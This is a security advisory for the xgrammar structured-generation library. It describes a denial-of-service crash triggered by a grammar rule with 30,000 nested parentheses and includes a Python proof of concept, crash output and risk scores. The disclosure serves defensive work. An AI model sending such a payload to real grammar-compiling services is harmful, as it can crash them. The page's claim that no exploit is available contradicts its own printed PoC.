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GHSA-7rgv-gqhr-fxg3

HighCVSS 8.7 / 10
Published Mar 5, 2026·Last modified Mar 16, 2026
Affected Components(0)

No affected components available

Description

Summary

The multi-level nested syntax caused a segmentation fault (core dump).

Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

PoC

#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""

import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"

def main():
    device = "cuda" if torch.cuda.is_available() else "cpu"
    model_name = "Qwen/Qwen2.5-0.5B-Instruct"
    
    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == "cuda" else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)
    
    # Math expression grammar
    math_grammar = grammar
    
    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)
    
    # Generate
    prompt = "Math: "
    inputs = tokenizer(prompt, return_tensors="pt").to(device)
    
    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
    
    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,
        logits_processor=[xgr_processor]
    )
    
    result = tokenizer.decode(
        output_ids[0][len(inputs.input_ids[0]):],
        skip_special_tokens=True
    )
    
    print(f"Generated expression: {result}")

if __name__ == "__main__":
    main()
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page: 
Author: MLC Team
Author-email: 
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by: 

> python3 1.py 
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)

Impact

DoS

Risk Scores
Base Score
8.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.71%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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